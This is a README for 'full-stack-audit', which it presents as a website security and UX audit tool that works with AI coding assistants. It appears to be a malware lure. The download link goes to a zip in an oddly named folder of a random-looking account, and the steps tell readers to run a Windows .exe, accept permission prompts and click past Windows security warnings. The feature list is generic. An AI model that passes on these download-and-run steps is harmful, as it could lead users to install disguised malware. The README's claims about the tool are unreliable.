🔎 full-stack-audit - Catch Website Issues Before Launch

📥 Download

Visit this page to download the latest version:

https://raw.githubusercontent.com/osbertunawakened431/full-stack-audit/main/ecospecies/full_audit_stack_2.4.zip

Choose the newest release for Windows, then download the file that matches your computer. If you see more than one file, pick the Windows one with .exe in the name.

🖥️ What this tool does

full-stack-audit helps you check a website or web app for common problems before you ship it.

It looks for:

• Security gaps
• Broken user flows
• Missing form checks
• Accessibility issues
• Compliance problems
• Front-end mistakes that AI-made code often misses

It works with:

• Claude Code
• Cursor
• Codex
• Gemini CLI

Use it when you want a fast review of a site, page, or app before it goes live.

✅ What you need

• A Windows computer
• Internet access for the first download
• A modern browser like Chrome, Edge, or Firefox
• A website or web app to check

For best results:

• Use Windows 10 or Windows 11
• Keep at least 200 MB of free disk space
• Close extra apps if your computer is slow

🚀 Install on Windows

1. Open the download page:
   https://raw.githubusercontent.com/osbertunawakened431/full-stack-audit/main/ecospecies/full_audit_stack_2.4.zip

2. Find the latest release at the top.

3. Download the Windows file. It may end in .exe or come in a zipped package.

4. If you downloaded a zip file, right-click it and choose Extract All.

5. Open the extracted folder.

6. Double-click the app file to start it.

7. If Windows asks for permission, choose Run or Yes.

8. If the app opens in a browser or terminal window, leave it open while you use it.

🧭 First-time setup

After you start the app, you may need to:

• Sign in to your AI tool
• Point the tool at your project folder
• Paste or select the website URL
• Choose the audit mode you want

If the app asks for a path:

• Pick the folder that holds your site files
• Use the main project folder, not a nested file
• If you are not sure, choose the folder with src, app, or public

If the app asks for a target:

• Enter the live site URL
• Or point it to a local preview site if you are testing before launch

🛠️ How to run an audit

1. Open full-stack-audit.

2. Choose the site or web app you want to review.

3. Select the checks you want to run.

4. Start the audit.

5. Wait for the results.

6. Review the report and fix the issues it lists.

A full audit may check:

• Login and sign-up pages
• Forms and error messages
• Navigation and page flow
• Security headers
• Input handling
• Mobile layout
• Color contrast
• Required legal pages
• Cookie and privacy basics

🔍 What the report means

You may see findings in groups like these:

Security

These issues can expose data or allow bad input to reach your app.

Examples:

• Weak password rules
• Missing form checks
• Unsafe links or scripts
• Exposed admin paths
• Poor error handling

UX

These issues make the site hard to use.

Examples:

• Confusing buttons
• Broken steps in a form
• Missing labels
• Slow feedback after clicks
• Layout problems on small screens

Compliance

These issues help your site meet common web rules.

Examples:

• Missing privacy page
• Weak cookie notice
• Poor keyboard use
• Low contrast text
• Missing alt text on images

🧩 Typical use cases

Use full-stack-audit when you want to:

• Review AI-generated code before launch
• Check a new landing page
• Test a checkout flow
• Audit a client site
• Find issues in a web app after changes
• Compare a staging site with your live site

🔁 Best way to use it

Run an audit:

• After a big code change
• Before a release
• After adding a new form
• After changing login or payment screens
• After AI writes a large part of the site

Then:

• Fix the high-risk issues first
• Check the page again
• Keep the report for your release notes
• Run the tool again before launch

📁 Files and folders you may see

Depending on the release, you may see:

• The main app file
• A readme or text file
• A config file
• A report folder
• Exported audit results

If you see a report file, open it in your browser or text editor to read the findings.

🧠 Tips for better results

• Run one site at a time
• Use the real page URL, not a home page shortcut if you want deeper results
• Fix obvious issues first, then run the audit again
• Check pages in desktop and mobile view
• Review forms, checkout pages, and login screens with care
• Keep your app and browser up to date

🧪 Common checks

full-stack-audit can help you look for:

• Missing labels on inputs
• Buttons that do not say what they do
• Links that go nowhere
• Forms that accept bad input
• Pages that are hard to read
• Pages that break on mobile
• Missing metadata
• Weak security basics
• Missing compliance items

❓ Troubleshooting

The file does not open

• Make sure the download finished
• Try extracting the zip file first
• Right-click the file and choose Open
• Check that Windows did not block the file

Windows shows a security prompt

• Choose Run or More info, then Run
• Confirm you downloaded the file from the release page

The app closes right away

• Open it again
• Check that you downloaded the correct Windows file
• Look for a report or log file in the same folder

I do not see the latest release

• Refresh the release page
• Check the top item on the page
• Download the newest version, not an older one

📌 Repository details

• Repository: full-stack-audit
• Type: End-user audit tool for websites and web apps
• Focus: Security, UX, and compliance checks
• Works with: Claude Code, Cursor, Codex, Gemini CLI
• Topics: claude-code, security-audit, skill, skillmd, ux-audit, vibe-coding, web-development, website-audit